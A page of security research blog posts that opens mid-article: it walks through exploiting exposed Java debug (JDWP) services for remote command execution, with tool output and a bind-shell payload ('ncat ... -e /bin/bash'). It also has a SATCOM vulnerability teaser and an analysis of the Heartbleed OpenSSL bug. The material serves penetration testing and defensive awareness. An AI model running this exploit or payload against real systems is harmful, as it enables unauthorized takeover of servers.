  • StackFrame/(Get|Set)Values provides pushing/popping capabilities from threads stack.
  • Event/Composite forces the JVM to react to specific behaviors declared by this command. This command is a major key for debugging purposes as it allows, among many other things, setting breakpoints, single-stepping through the threads during runtime, and being notified when accessing/modifying values in the exact same manner as GDB or WinDBG.
 
Not only does JDWP allow you to access and invoke objects already residing in memory, it also allows you to create or overwrite data.
  • VirtualMachine/CreateString allows  you to transform a string into a java.lang.String living in the JVM runtime.
  • VirtualMachine/RedefineClasses allows you to install new class definitions.
 
“All your JDWP are belong to us”
As we have seen, JDWP provides built-in commands to load arbitrary classes into the JVM memory and invoke already existing and/or newly loaded bytecode. The following section will cover the steps for creating exploitation code in Python, which behaves as a partial implementation of a JDI front end in order to be as reliable as possible. The main reason for this standalone exploit script is that, as a pentester, I like “head-shot” exploits. That is, when I know for sure an environment/application/protocol is vulnerable, I want to have my tool ready to exploit it right away (i.e. no PoC, which is basically the only thing that existed so far). So now that we have covered the theory, let’s get into the practical implementation.
 
When faced with an open JDWP service, arbitrary command execution is exactly five steps away (or with this exploit, only one command line away). Here is how it would go down:
 
1. Fetch Java Runtime reference
The JVM manipulates objects through their references. For this reason, our exploit must first obtain the reference to the java.lang.Runtime class. From this class, we need the reference to the getRuntime() method. This is performed by fetching all classes (AllClasses packet) and all methods in the class we are looking for (ReferenceType/Methods packet).
 
2. Setup breakpoint and wait for notification (asynchronous calls)
This is the key to our exploit. To invoke arbitrary code, we need to be in a running thread context. To do so, a hack is to setup a breakpoint on a method which is known to be called at runtime. As seen earlier, a breakpoint in JDI is an asynchronous event whose type is set to BREAKPOINT(0x02). When hit, the JVM sends an EventData packet to our debugger, containing our breakpoint ID, and more importantly, the reference to the thread which hit it.

 

It is therefore a good idea to set it on a frequently called method, such as java.net.ServerSocket.accept(), which is very likely to be called every time the server receives a new network connection. However, one must bear in mind that it could be any method existing at runtime.
 
3. Allocating a Java String object in Runtime to carry out the payload
We will execute code in the JVM runtime, so all of our manipulated data (such as string) must exist in the JVM runtime (i.e. possess an runtime reference). This is done quite easily by sending a CreateString command.
 

 

 
4. Get Runtime object from breakpoint context
At this point we have almost all of the elements we need for a successful, reliable exploitation. What we are missing is a Runtime object reference. Obtaining it is easy, and we can simply execute in the JVM runtime the java.lang.Runtime.getRuntime() static method[8] by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references.
 
5. Lookup and invoke exec() method in Runtime instance
The final step is simply looking for the exec() method in the Runtime static object obtained for the previous step and invoking it (by sending a ObjectReference/InvokeMethod packet) with the String object we created in step three. 
 
Et voilà !! Swift and easy.
 
As a demonstration, let’s start a Tomcat running with JPDA “debug mode” enabled:
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
 
We execute our script without a command to execute, to simply get general system information:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466
[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed


Same command line, but against a Windows system and breaking on a totally different method:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed


We execute our exploit to spawn a bind shell with the payload  “ncat -e /bin/bash -l -p 1337”, against a Linux system:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a
[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc
[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed
 
Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat      
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat     


Same win on MacOSX:
pentests-Mac:~ pentestosx$ lsof | grep LISTEN
ncat      4380 pentestosx    4u    IPv4 0xffffff800c8faa40       0t0        TCP *:menandmice-dns (LISTEN)
 
A link to full exploitation script is provided here[1]. 
 
The final exploit uses those techniques, adds a few checks, and sends suspend/resume signals to cause as little disruption as possible (it’s always best not to break the application you’re working on, right?). It acts in two modes: 
  • “Default” mode is totally non intrusive and simply executes Java code to get local system information (perfect for a PoC to a client).
  • Passing the “cmd” option executes a system command on the remote host and is therefore more intrusive. The command is done with the privileges the JVM is running with.
 
This exploit script was successfully tested against:
  • Oracle Java JDK 1.6 and 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6
 
As Java is platform-independent by design, commands can be executed on any operating system that Java supports.
 
Well this is actually good news for us pentesters: open JDWP service means reliable RCE
 
So far, so good.


What about real-life exploitation?

As a matter of fact, JDWP is used quite a lot in the Java application world. Pentesters might, however, not see it that often when performing remote assessments as firewalls would (and should) mostly block the port it is running on.
 
But this does not mean that JDWP cannot be found in the wild:
  • At the time of writing this article, a quick search on ShodanHQ[4] immediately reveals about 40 servers sending the JDWP handshake:

 

This is actually an interesting finding because, as we’ve seen before, it is supposed to be the client-side (debugger) that initiates dialogue.
  • GitHub[7] also reveals a significant number of potentially vulnerable open-source applications:

 

  • masscan-ing the Internet looking for specific ports (tcp/8000, tcp/8080, tcp/8787, tcp/5005) revealed many hosts (which cannot be reported here) responding to the initial handshake.
  • “Enterprise” applications were found in the wild running a JDWP service *by default* (finding the actual port number is left as an exercise to the curious reader).
 
These are just a few ways to discover open JDWP services on the Internet. This is a great reminder that applications should regularly undergo thorough security reviews, production environments should have any debugging functionality turned off, and firewalls should be configured to restrict access to services required for normal operation only. Allowing anybody to connect to a JDWP service is exactly the same as allowing a connection to a gdbserver service (in what may be a more stable way).
 
I hope you enjoyed reading this article as much as I enjoyed playing with JDWP. 
 
To y’all mighty pirates, happy JDWP pwning !!


Thanks

I would like to thank Ilja Van Sprundel and Sebastien Macke for their ideas and tests.


References:
  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(no longer active)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE 
  5. http://www.hsc-news.com/archives/2013/000109.html (no longer active) 
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt 
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
RESEARCH | April 17, 2014

A Wake-up Call for SATCOM Security

During the last few months we have witnessed a series of events that will probably be seen as a tipping point in the public’s opinion about the importance of, and need for, security. The revelations of Edward Snowden have served to confirm some theories and shed light on surveillance technologies that were long restricted.
 
We live in a world where an ever-increasing stream of digital data is flowing between continents. It is clear that those who control communications traffic have an upper-hand.
 
Satellite Communications (SATCOM) plays a vital role in the global telecommunications system. Sectors that commonly rely on satellite networks include:
  • Aerospace
  • Maritime
  • Military and governments
  • Emergency services
  • Industrial (oil rigs, gas, electricity)
  • Media
It is important to mention that certain international safety regulations for ships such as GMDSS or aircraft’s ACARS rely on satellite communication links. In fact, we recently read how, thanks to the SATCOM equipment on board Malaysian Airlines MH370, Inmarsat engineers were able to determine the approximate position of where the plane crashed. 
 
IOActive is committed to improving overall security. The only way to do so is to analyze the security posture of the entire supply chain, from the silicon level to the upper layers of software. 
 
Thus, in the last quarter of 2013 I decided to research into a series of devices that, although widely deployed, had not received the attention they actually deserve. The goal was to provide an initial evaluation of the security posture of the most widely deployed Inmarsat and Iridium SATCOM terminals.  
 
In previous blog posts I’ve explained the common approach when researching complex devices that are not physically accessible. In these terms, this research is not much different than the previous research: in most cases the analysis was performed by reverse engineering the firmware statically.

 
What about the results? 
 
Insecure and undocumented protocols, backdoors, hard-coded credentials…mainly design flaws that allow remote attackers to fully compromise the affected devices using multiple attack vectors.
 
Ships, aircraft, military personnel, emergency services, media services, and industrial facilities (oil rigs, gas pipelines, water treatment plants, wind turbines, substations, etc.) could all be affected by these vulnerabilities.
 
I hope this research is seen as a wake-up call for both the vendors and users of the current generation of SATCOM technology. We will be releasing full technical details in several months, at Las Vegas, so stay tuned.
The following white paper comprehensively explains all the aspects of this research IOActive_SATCOM_Security_WhitePaper
INSIGHTS | April 10, 2014

Bleeding Hearts

The Internet is ablaze with talk of the “heartbleed” OpenSSL vulnerability disclosed yesterday (April 7, 2014) here: https://www.openssl.org/news/secadv_20140407.txt
 
While the bug itself is a simple “missing bounds check,” it affects quite a number of high-volume, big business websites.
 
Make no mistake, this bug is BAD. It’s sort of a perfect storm: the bug is in a library used to encrypt sensitive data (OpenSSL), and it allows attackers a peak into a server’s memory, potentially revealing that same sensitive data in the clear.
 
Initially, it was reported that private keys could be disclosed via this bug, basically allowing attackers to decrypt captured SSL sessions. But as more people start looking at different sites, other issues have been revealed – servers are leaking information ranging from user sessions (https://www.mattslifebytes.com/?p=533) to encrypted search queries (duckduckgo) and passwords (https://twitter.com/markloman/status/453502888447586304). The type of information accessible to an attacker is entirely a function of what happens to be in the target server’s memory at the time the attacker sends the request.
 
While there’s lot of talk about the bug and its consequences, I haven’t seen much about what actually causes the bug. Given that the bug itself is pretty easy to understand (and even spot!), I thought it would be worthwhile to walk through the vulnerability here for those of you who are curious about the why, and not just the how-to-fix.
 
 
The Bug
 
The vulnerable code is found in OpenSSL’s TLS Heartbeat Message handling routine – hence the clever “heartbleed” nickname. The TLS Heartbeat protocol is defined in RFC 6520 – “Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) Heartbeat Extension”.  
 
Before we get into the OpenSSL code, we should examine what this protocol looks like.
 
The structure of the Heartbeat message is very simple, consisting of a 8-bit message type, a 16-bit payload length field, the payload itself, and finally a sequence of padding bytes. In pseudo-code, the message definition looks like this (copied from the RFC):
 
 
The type (line 2) is simply 1 or 2, depending on whether the message is a request or a response.
 
The payload_length (line 3) indicates the size of the payload part of the message, which follows immediately. Being a 16-bit unsigned integer, its maximum value is 2^16-1 (which is 65535). If you’ve done some other reading about this bug, you’ll recognize the 64k as being the upper limit on how much data can be accessed by an attacker per attack sent.
 
The payload (line 4) is defined to be “arbitrary content” of length payload_length.
 
And padding (line 5) is “random content” at least 16 bytes long, and “MUST be ignored.”
 
Easy enough!
 
Now I think it should be noted here that the RFC itself appears sound – it describes appropriate behavior for what an implementation of the protocol should and shouldn’t do. In fact, the RFC explicitly states that “If the payload_length of a received HeartbeatMessage is too large, the received HeartbeatMessage MUST be discarded silently.” Granted, “too large” isn’t defined, but I digress…
 
There is one last part of the RFC that’s important for understanding this bug: The RFC states that “When a HeartbeatRequest message is received … the receiver MUST send a corresponding HeartbeatResponse message carrying an exact copy of the payload of the received HeartbeatRequest.” This is important in understanding WHY vulnerable versions of OpenSSL are sending out seemingly arbitrary blocks of memory.
 
Now, on to OpenSSL code!  
 
Here’s a snippet from the DTLS Heartbeat handling function in (the vulnerable) openssl-1.0.1fssld1_both.c:
 
 
If you’re not familiar with reading C, this can be a lot to digest. The bug will become clearer if we go through this function piece by piece. We’ll start at the top…
 
 
 
This part just defines local variables for the function. The most important one here is the char pointer p (line 1457), which points to the heartbeat message the attacker controls. hbtype (line 1458)will hold the HeartbeatMessageType value mentioned in the RFC, and payload (line 1459)will hold the payload_length value. Don’t let the fact that the payload_length value is being stored in the payload variable confuse you!
 
 
 
Here, the first byte of the message is copied into the hbtype variable (line 1463), and the 16-bit payload-length is copied from p (the attacker-controlled message) to the payload variable using the n2s function (line 1464). The n2s function simply converts the value from the sequence of bits in the message to a number the program can use in calculations. Finally, the pl pointer is set to point to the payload section of the attacker-controlled message (line 1465).
 
 
On line 1474, a variable called buffer is defined and then allocated (line 1481) an area of memory using the attacker-controlled payload variable to calculate how much memory should be allocated. Then, on line 1482, the bp pointer is set to point to the buffer that was just allocated for the server’s response.
As an aside, if the payload_length field which gets stored in the payload variable were greater than 16-bits (say, 32 or 64-bits instead), we’d be looking at another couple of vulnerabilities: either an integer overflow leading to a buffer overflow, or potentially a null-pointer dereference. The exact nature and exploitability of either of these would depend upon the platform itself, and the exact implementation of OPENSSL_malloc. Payload_length *is* only 16-bits however, so we’ll continue…
 
 
This code snippet shows the server building the response. It’s here that this bug changes from being an attacker-controlled length field leading to Not Very Much into a serious information disclosure bug causing a big stir. Line 1485 simply sets the type of the response message pointed to by bp to be a Heartbeat Response. According to the RFC, the payload_length should be next, and indeed – it is being copied over to the bp response buffer via the s2n function on line 1486. The server is just copying the value the attacker supplied, which was stored in the payload variable. Finally, the payload section of the attacker message (pointed to by pl, on line 1465) is copied over to the response buffer, pointed to by the bp variable (again, according to the RFC specification), which is then sent back to the attacker.  
 
And herein lies the vulnerability – the attacker-controlled payload variable (which stores the payload_length field!) is used to determine exactly how many bytes of memory should be copied into the response buffer, WITHOUT first being checked to ensure that the payload_length supplied by the attacker is not bigger than the size of the attacker-supplied payload itself.
 
This means that if an attacker sends a payload_length greater than the size of the payload, any data located in the server’s memory after the attacker’s payload would be copied into the response. If the attacker set the payload_length to 10,000 bytes and only provided a payload of 10 bytes, then a little less than an extra 10,000 bytes of server memory would be copied over to the response buffer and sent back to the attacker. Any sensitive information that happened to be hanging around in the process (including private keys, unencrypted messages, etc.) is fair game. The only variable is what happens to be in memory. In playing with some of the published PoCs against my own little test server (openssl s_server FTW), I got a whole lot of nothing back, in spite of targeting a vulnerable version, because the process wasn’t doing anything other than accepting requests. To reiterate, the data accessed entirely depends on what’s in memory at the time of the attack.
 
 
Testing it yourself
 
There are a number of PoCs put up yesterday and today that allow you to check your own servers. If you’re comfortable using an external service, you can check out http://filippo.io/Heartbleed/. Or you can grab filippo’s golang code from https://github.com/FiloSottile/Heartbleed, compile it yourself, and test on your own. If golang is not your cup of tea, I’d check out the simple Python version here: https://gist.github.com/takeshixx/10107280. All that’s required is a Python2 installation.
 
Happy Hunting!